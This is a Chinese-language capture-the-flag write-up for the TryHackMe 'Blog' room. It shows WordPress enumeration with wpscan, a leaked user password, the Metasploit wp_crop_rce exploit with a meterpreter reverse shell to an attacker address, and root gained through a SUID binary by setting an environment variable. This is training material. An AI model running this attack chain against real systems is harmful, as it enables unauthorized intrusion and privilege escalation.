TryHackerMe Blog题解
简介
Billy Joel made a blog on his home computer and has started working on it. It’s going to be so awesome!
比利·乔尔在家用电脑写了一个博客,并已经开始了工作。这将会非常棒!
Enumerate this box and find the 2 flags that are hiding on it! Billy has some weird things going on his laptop. Can you maneuver around and get what you need? Or will you fall down the rabbit hole…
列举这个盒子并找到隐藏在上面的两面旗帜!比利的笔记本电脑上发生了一些奇怪的事情。你能够四处转动并获得你所需的东西吗?还是你会掉进兔子洞里……
In order to get the blog to work with AWS, you’ll need to add 10.10.203.96 blog.thm to your /etc/hosts file.
为了使博客与 AWS 配合工作,您需要将 10.10.203.96 blog.thm 添加到您的 /etc/hosts 文件中。
文章目录
- TryHackerMe Blog题解
- 简介
- 前期设置
- windows
- linux
- 开始攻击
- 端口扫描&&cms扫描
- 端口扫描
- cms扫描
- What CMS was Billy using?
- 比利使用的是什么内容管理系统
- What version of the above CMS was being used?
- 以上 CMS 的版本是什么?
- root权限获取--suid提权
前期设置
我们需要将10.10.203.96 blog.thm添加到hosts文件中,我是windows加wsl2,wsl2和windows好像用的是用同一个hosts
windows
windows的hosts文件在c:\windows\system32\drivers\etc目录下
将内容写入并保存
linux
vim /etc/hosts
i进入编辑模式写完esc只读,之后输入:wq
开始攻击
端口扫描&&cms扫描
端口扫描
nmap -A -v IP
这里有4个端口
80 对应的http协议也就是web端口
139 是一种用于Windows文件和打印机共享服务的TCP端口
44 5端口是一种TCP端口,用于文件和打印机共享服务
22 远程登录和传输数据
cms扫描
对于国外的网站wappalyzer插件还是蛮好用的
What CMS was Billy using?
比利使用的是什么内容管理系统
wordpress
What version of the above CMS was being used?
以上 CMS 的版本是什么?
5.0
因为我们知道wp这个cms之后可以使用wpscan来试试用户枚举,我们可以不爆破目录因为我们知道他的cms可以去网上下载下来做白盒测试
wpscan --url http://blog.thm/ --enumerate u
收集到了一个储存上传文件的目录,还有两个用户名
kwheel
bjoel
我们试一试这个密码cutiepie1能不能登陆ssh22端口
看来不能连接的还是走老路子web吧
web是有漏洞的,这里告诉我们了metasploit中可以利用所以我们直接去metasploit中利用
注意!!!!!!
如果你是虚拟机那就一定要映射端口
netsh interface portproxy add v4tov4 listenport=4444 listenaddress=0.0.0.0 connectport=4444 connectaddress=192.168.230.99
为啥是4444端口
因为他是用4444端口反弹shell的
┌──(root㉿LAPTOP-K5E81K5Q)-[/mnt/c/Users/Administrator]
└─# msfconsole -q
msf6 > use exploit/multi/http/wp_crop_rce
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/wp_crop_rce) > set rhost blog.thm
rhost => blog.thm#设置网站
msf6 exploit(multi/http/wp_crop_rce) > set username kwheel
username => kwheel#设置用户名
msf6 exploit(multi/http/wp_crop_rce) > set password cutiepie1
password => cutiepie1#设置密码
msf6 exploit(multi/http/wp_crop_rce) > set LHOST 10.14.81.28
LHOST => 10.14.81.28#设置需要反弹的ip地址,不是虚拟机可以不设置
msf6 exploit(multi/http/wp_crop_rce) > exploit
#开始利用
shell #创建一个shell进程
python3 -c 'import pty;pty.spawn("/bin/bash")'#使用python创建一个shell
root权限获取–suid提权
登陆之后看一看有没有可以提权的文件
find / -type f -user root -perm -u=s 2>/dev/null
#在整个文件系统中搜索所有属于root
用户并设置了用户ID位的普通文件,并将任何错误消息丢弃
找到一个/usr/sbin/checker
看一看咋提权
www-data@blog:/var/www/wordpress$ /usr/sbin/checker
#运行这个文件他说我们没有admin权限
/usr/sbin/checker
Not an Admin
www-data@blog:/var/www/wordpress$ ltrace /usr/sbin/checker #查看checker调用了那些函数
ltrace /usr/sbin/checker
getenv("admin") = nil#没有找到admin的值
puts("Not an Admin"Not an Admin
) = 13
+++ exited (status 0) +++
www-data@blog:/var/www/wordpress$ export admin=1#jianghuanjiang
export admin=1 #设置当前环境变量的shell的admin的值设置为1
www-data@blog:/var/www/wordpress$ /usr/sbin/checker #再次运行这个脚本
/usr/sbin/checker
root@blog:/var/www/wordpress#
root.txt就在根目录下这里我就不放出来了,这个user.txt竟然不是,我们查找一下
查找一下user.txt的文件,/home/bjoel/user.txt我们刚刚打开发现不对
那就只有这个了/media/usb/user.txt
这里我就不放了--------------------防止有同学抄作业
大佬!!!点个赞再走呗~
大佬!!!点个赞再走呗~
大佬!!!点个赞再走呗~